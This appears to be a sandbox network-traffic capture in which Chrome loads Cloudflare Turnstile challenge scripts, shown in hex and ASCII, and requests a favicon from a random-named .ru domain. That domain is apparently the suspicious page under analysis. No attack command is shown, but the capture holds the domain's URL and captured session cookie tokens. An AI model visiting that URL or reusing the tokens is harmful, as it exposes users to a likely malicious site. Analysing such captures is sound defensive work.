2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 29 21 3d 3d 64 5b 69 77 28 31 33 39 35 29 5d 29 7b 69 66 28 64 5b 69 77 28 39 35 31 29 5d 28 32 35 36 2c 43 5b 69 77 28 31 37 31 37 29 5d 28 30 29 29 29 7b 66 6f 72 28 73 3d 30 3b 64 5b 69 77 28 39 32 36 29 5d 28 73 2c 46 29 3b 48 3c 3c 3d 31 2c 64 5b 69 77 28 31 30 37 39 29 5d 28 49 2c 64 5b 69 77 28 31 30 30 36 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 69 77 28 31 35 33 30 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 69 77 28 31 37 31 37 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 48 3c 3c 31 7c 64 5b 69 77 28 34 37 37 29 5d 28 4d 2c 31 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 69 77 28 31 35 33 30 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 Data Ascii: )!==d[iw(1395)]){if(d[iw(951)](256,C[iw(1717)](0))){for(s=0;d[iw(926)](s,F);H<<=1,d[iw(1079)](I,d[iw(1006)](j,1))?(I=0,G[iw(1530)](o(H)),H=0):I++,s++);for(M=C[iw(1717)](0),s=0;8>s;H=H<<1\|d[iw(477)](M,1),j-1==I?(I=0,G[iw(1530)](o(H)),H=0):I++,M>>=1,s++);}e
2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 49 2c 64 5b 69 77 28 31 30 33 32 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 69 77 28 31 35 33 30 29 5d 28 64 5b 69 77 28 31 31 37 33 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 64 5b 69 77 28 31 36 37 39 29 5d 28 30 2c 44 29 26 26 46 2b 2b 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 73 3c 46 3b 48 3d 48 3c 3c 31 7c 31 2e 32 38 26 4d 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 69 77 28 31 35 33 30 29 5d 28 64 5b 69 77 28 39 34 38 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 6a 2d 31 3d 3d 49 29 7b 47 5b 69 77 28 31 35 33 30 29 5d 28 64 5b 69 77 28 31 33 39 37 29 5d 28 6f 2c 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 Data Ascii: I,d[iw(1032)](j,1))?(I=0,G[iw(1530)](d[iw(1173)](o,H)),H=0):I++,M>>=1,s++);D--,d[iw(1679)](0,D)&&F++}for(M=2,s=0;s<F;H=H<<1\|1.28&M,I==j-1?(I=0,G[iw(1530)](d[iw(948)](o,H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,j-1==I){G[iw(1530)](d[iw(1397)](o,H));break}els
2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 68 5b 69 42 28 38 39 31 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 69 42 28 31 32 39 39 29 5d 28 46 2c 4b 29 3b 4c 3d 64 5b 69 42 28 31 33 37 37 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 64 5b 69 42 28 37 39 38 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 69 42 28 31 31 30 34 29 5d 28 30 2c 4c 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 69 42 28 31 35 33 30 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 49 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 42 28 38 39 31 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 64 5b 69 42 28 37 31 33 29 5d 28 46 2c 4b 29 3b Data Ascii: h[iB(891)](2,16),F=1;d[iB(1299)](F,K);L=d[iB(1377)](G,H),H>>=1,d[iB(798)](0,H)&&(H=j,G=o(I++)),J\|=(d[iB(1104)](0,L)?1:0)*F,F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[iB(1530)](M);;){if(I>i)return'';for(J=0,K=Math[iB(891)](2,C),F=1;d[iB(713)](F,K);
2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 64 2c 65 2c 66 2c 67 29 7b 69 45 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 69 45 28 39 32 37 29 5d 3d 69 45 28 34 31 30 29 2c 64 5b 69 45 28 37 34 30 29 5d 3d 69 45 28 34 37 34 29 2c 64 5b 69 45 28 31 30 32 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 69 45 28 39 34 39 29 5d 5b 69 45 28 36 34 31 29 5d 28 65 5b 69 45 28 31 30 32 39 29 5d 28 32 2c 66 29 2c 33 32 29 2c 65 4d 5b 69 45 28 39 33 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 46 29 7b 69 46 3d 69 45 2c 65 4d 5b 69 46 28 33 31 35 29 5d 26 26 28 65 4d 5b 69 46 28 37 37 36 29 5d 5b 69 46 28 37 39 36 29 5d 28 29 2c 65 4d 5b 69 46 28 37 37 36 29 5d 5b 69 46 28 35 34 38 29 5d 28 29 2c 65 4d 5b 69 46 28 31 35 34 39 29 Data Ascii: d,e,f,g){iE=gJ,d={},d[iE(927)]=iE(410),d[iE(740)]=iE(474),d[iE(1029)]=function(h,i){return h<<i},e=d,f=1,g=1e3*eM[iE(949)][iE(641)](e[iE(1029)](2,f),32),eM[iE(937)](function(iF){iF=iE,eM[iF(315)]&&(eM[iF(776)][iF(796)](),eM[iF(776)][iF(548)](),eM[iF(1549)
2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 45 5b 69 47 28 31 35 34 32 29 5d 28 6b 5b 69 47 28 31 31 31 31 29 5d 28 27 76 5f 27 2b 65 4d 5b 69 47 28 35 34 35 29 5d 5b 69 47 28 34 30 30 29 5d 2c 27 3d 27 29 2b 46 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 44 3d 69 7c 7c 69 47 28 31 35 36 38 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 45 3d 6e 65 77 20 65 4d 5b 28 69 47 28 33 31 38 29 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 45 5b 69 47 28 31 36 30 39 29 5d 3d 35 65 33 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 39 27 3a 46 3d 66 42 5b 69 47 28 33 38 32 29 5d 28 43 29 5b 69 47 28 37 39 35 29 5d 28 27 2b 27 2c 69 47 28 31 30 38 35 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 30 27 3a 45 Data Ascii: ;continue;case'5':E[iG(1542)](k[iG(1111)]('v_'+eM[iG(545)][iG(400)],'=')+F);continue;case'6':D=i\|\|iG(1568);continue;case'7':E=new eM[(iG(318))]();continue;case'8':E[iG(1609)]=5e3;continue;case'9':F=fB[iG(382)](C)[iG(795)]('+',iG(1085));continue;case'10':E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49762	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:36 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:36 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:36 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f01959ffab1433e-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:36 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49747	104.21.32.1	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:37 UTC	1320	OUT	GET /favicon.ico HTTP/1.1 Host: cj.qhggzzwnpfh.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cj.qhggzzwnpfh.ru/qABJFN/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InQydTlBc3BIOThNWllVVGxhRldJN3c9PSIsInZhbHVlIjoiekxKd2IvcDlkc2ZxVytROVgrV01KZUQzdUVVMURWZ1pMTTRxeElCTUErczQ0ZC9oRHFpdkZIckhnMFFONytFTTJGTGkwd0dOL0JILzlKcyszbGkwRlFMZ2hzdVlScXBIM0IwQUUvVFp3bjhVTzZTM1RGektUZFNpYm5YM3lHWU8iLCJtYWMiOiIyZGYyNjFiZmJhOTZiNjM4NjU3ODlmZTAxNzkwZGE4MTljOTZkYWE0MmUwMTk4ZjM1Njk5OTVlNjllMzUyOTFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRXbDVzMzAyaUJ4L215azRUcGNQR0E9PSIsInZhbHVlIjoiLy81NGtwNWtORE5qWmkzSUhYbGdhVVJTZHhvMFRIQ3pDeVJtL1l6S2Ivc2MyS3dFZVp3SlZqZzhqSHJaVzh5bXFVYkxTa3lzcFJLa3VvWGFUNVBnSGRLRmd4MUpwcVZYajFvTUlGQVV6d1AwWFpFUVU2anpGWE9SK3ZUcnFQa2wiLCJtYWMiOiJhZGU4OTczNzIwZGJjMWQyOTFmYjgyMWUwMDM0OTA2MzljNGQzZGRiNTlkMzdkNDc5OWQ0MDkwMTU1YzJhOWZkIiwidGFnIjoiIn0%3D
2024-12-11 01:08:39 UTC	1069	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 01:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2%2B7%2BQ9pK%2BTl8M5SRJ02Y47ipyU3Rxdk0mA9prW0PLU%2BimyxlGVimDkzsn1o9Cer7t%2BxdvXvAlKACS8N5NowiQmG4R39wlz0qsz0JHpCWH5Lqw%2FEphp85fDYfoKcMkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4965&min_rtt=4929&rtt_var=1453&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2235&delivery_rate=555707&cwnd=241&unsent_bytes=0&cid=c649cf03e1f540e0&ts=1161&x=0" CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 8f0195a6ca79334e-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1898&min_rtt=1892&rtt_var=723&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1898&delivery_rate=1499743&cwnd=173&unsent_bytes=0&cid=057c780e8fd432c4&ts=10973&x=0"
2024-12-11 01:08:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49765	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:37 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:38 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:38 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f0195aa58640dc7-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49767	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:38 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f019593d907f5f4&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:39 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:38 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114855 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f0195aee9153320-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:39 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 Data Ascii: 2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turnstile_footer_privacy":"Privacy","turnstile_feedback_report":"Having%20trouble%3F","check_delays":"Verification%20is%20taking%20longer%20than%20expect
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 66 4e 2c 66 59 2c 67 32 2c 67 35 2c 67 36 2c 67 77 2c 67 44 2c 67 48 2c 67 33 2c 67 34 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 37 33 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 32 30 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 30 32 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 31 39 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 39 34 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 38 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 39 37 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 38 30 Data Ascii: fN,fY,g2,g5,g6,gw,gD,gH,g3,g4){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(473))/1(parseInt(gI(1220))/2)+-parseInt(gI(1102))/3+parseInt(gI(419))/4+parseInt(gI(594))/5+parseInt(gI(1348))/6+-parseInt(gI(397))/7(parseInt(gI(980
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 4e 3d 62 2c 4f 62 6a 65 63 74 5b 67 4e 28 31 33 39 30 29 5d 5b 67 4e 28 31 37 35 30 29 5d 5b 67 4e 28 31 33 30 38 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 4e 28 31 31 36 31 29 5d 28 47 29 7d 7d 2c 65 54 3d 67 4a 28 31 37 30 39 29 5b 67 4a 28 31 34 34 36 29 5d 28 27 3b 27 29 2c 65 55 3d 65 54 5b 67 4a 28 31 35 36 30 29 5d 5b 67 4a 28 36 37 36 29 5d 28 65 54 29 2c 65 4d 5b 67 4a 28 31 37 30 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 67 51 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 67 51 3d 67 4a 2c 69 3d 7b 27 6e 66 47 6c 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 27 58 7a 7a 41 77 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 28 6f 29 7d 7d Data Ascii: N=b,Object[gN(1390)][gN(1750)][gN(1308)](j,H)\|\|(j[H]=[]),j[H][gN(1161)](G)}},eT=gJ(1709)[gJ(1446)](';'),eU=eT[gJ(1560)][gJ(676)](eT),eM[gJ(1703)]=function(g,h,gQ,i,j,k,l,m){for(gQ=gJ,i={'nfGlK':function(n,o){return n+o},'XzzAw':function(n,o){return n(o)}}
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 6e 65 46 50 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 73 4f 4f 43 71 27 3a 68 38 28 39 34 39 29 2c 27 62 65 61 49 79 27 3a 68 38 28 31 33 35 34 29 2c 27 52 49 5a 6d 53 27 3a 68 38 28 37 31 37 29 2c 27 50 6e 41 68 47 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 7d 29 3b 74 72 79 7b 69 66 28 6a 3d 69 5b 68 38 28 31 33 35 31 29 5d 28 65 59 2c 66 5b 68 38 28 33 38 36 29 5d 2c 66 5b 68 38 28 31 37 34 30 29 5d 29 2c 66 5b 68 38 28 33 38 36 29 5d 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 3f 66 5b 68 38 28 33 38 36 29 5d 3d 4a 53 4f 4e 5b 68 38 28 33 38 39 29 5d 28 66 5b 68 38 28 33 38 36 29 5d 2c 4f 62 Data Ascii: ction(E,F){return E+F},'neFPJ':function(E,F){return E+F},'sOOCq':h8(949),'beaIy':h8(1354),'RIZmS':h8(717),'PnAhG':function(E,F){return E+F}});try{if(j=i[h8(1351)](eY,f[h8(386)],f[h8(1740)]),f[h8(386)]instanceof Error?f[h8(386)]=JSON[h8(389)](f[h8(386)],Ob
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 68 39 28 31 34 36 30 29 5d 28 6b 29 2c 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 65 5b 68 39 28 31 34 33 37 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 32 5d 2c 31 30 29 2c 69 3d 70 61 72 73 65 49 6e 74 28 6c 5b 33 5d 2c 31 30 29 29 29 3a 66 3d 4a 53 4f 4e 5b 68 39 28 33 38 39 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 68 39 28 31 36 37 39 29 5d 3d 66 2c 6d 5b 68 39 28 31 37 34 30 29 5d 3d 67 2c 6d 5b 68 39 28 31 32 37 38 29 5d 3d 68 2c 6d 5b 68 39 28 35 37 38 29 5d 3d 69 2c 6d 5b 68 39 28 33 38 36 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 31 34 39 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 68 62 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 69 66 28 68 Data Ascii: (.+):(\d+):(\d+)/,l=j[1][h9(1460)](k),l&&(g=l[1],h=e[h9(1437)](parseInt,l[2],10),i=parseInt(l[3],10))):f=JSON[h9(389)](d);return m={},m[h9(1679)]=f,m[h9(1740)]=g,m[h9(1278)]=h,m[h9(578)]=i,m[h9(386)]=d,m},eM[gJ(1493)]=function(d,e,f,g,h,hb,i,j,k,l,m){if(h
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 7d 2c 65 5b 69 39 28 36 38 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 65 5b 69 39 28 31 32 31 39 29 5d 3d 69 39 28 31 36 31 38 29 2c 65 5b 69 39 28 31 34 33 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 65 5b 69 39 28 35 31 31 29 5d 3d 69 39 28 34 35 33 29 2c 66 3d 65 2c 67 3d 64 5b 69 39 28 36 33 31 29 5d 2c 67 26 26 67 5b 69 39 28 31 36 37 38 29 5d 3d 3d 3d 66 5b 69 39 28 37 30 38 29 5d 26 26 67 5b 69 39 28 36 39 39 29 5d 3d 3d 3d 66 5b 69 39 28 37 31 35 29 5d 3f 66 42 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 31 28 29 7d 2c 31 65 33 29 3a 67 26 26 66 5b 69 39 28 31 32 36 34 29 5d 28 67 5b 69 39 28 31 36 37 38 29 5d 2c Data Ascii: },e[i9(689)]=function(h,i){return h===i},e[i9(1219)]=i9(1618),e[i9(1435)]=function(h,i){return h===i},e[i9(511)]=i9(453),f=e,g=d[i9(631)],g&&g[i9(1678)]===f[i9(708)]&&g[i9(699)]===f[i9(715)]?fB=setInterval(function(){g1()},1e3):g&&f[i9(1264)](g[i9(1678)],
2024-12-11 01:08:39 UTC	1369	IN	Data Raw: 5b 67 4a 28 31 32 39 30 29 5d 3d 66 69 2c 67 32 5b 67 4a 28 31 33 34 31 29 5d 3d 66 50 2c 67 32 5b 67 4a 28 31 30 31 30 29 5d 3d 66 4f 2c 67 32 5b 67 4a 28 31 30 36 36 29 5d 3d 66 39 2c 67 32 5b 67 4a 28 31 32 36 37 29 5d 3d 66 61 2c 67 32 5b 67 4a 28 36 32 34 29 5d 3d 66 77 2c 67 32 5b 67 4a 28 31 34 30 36 29 5d 3d 66 79 2c 67 32 5b 67 4a 28 31 37 32 30 29 5d 3d 66 78 2c 67 32 5b 67 4a 28 39 33 37 29 5d 3d 66 49 2c 67 32 5b 67 4a 28 31 36 39 36 29 5d 3d 66 48 2c 67 32 5b 67 4a 28 31 31 35 36 29 5d 3d 66 47 2c 67 32 5b 67 4a 28 34 33 38 29 5d 3d 66 46 2c 67 32 5b 67 4a 28 31 31 39 37 29 5d 3d 66 71 2c 67 32 5b 67 4a 28 31 30 38 30 29 5d 3d 67 31 2c 67 32 5b 67 4a 28 31 34 36 36 29 5d 3d 66 75 2c 67 32 5b 67 4a 28 31 32 33 33 29 5d 3d 66 72 2c 67 32 5b 67 Data Ascii: [gJ(1290)]=fi,g2[gJ(1341)]=fP,g2[gJ(1010)]=fO,g2[gJ(1066)]=f9,g2[gJ(1267)]=fa,g2[gJ(624)]=fw,g2[gJ(1406)]=fy,g2[gJ(1720)]=fx,g2[gJ(937)]=fI,g2[gJ(1696)]=fH,g2[gJ(1156)]=fG,g2[gJ(438)]=fF,g2[gJ(1197)]=fq,g2[gJ(1080)]=g1,g2[gJ(1466)]=fu,g2[gJ(1233)]=fr,g2[g
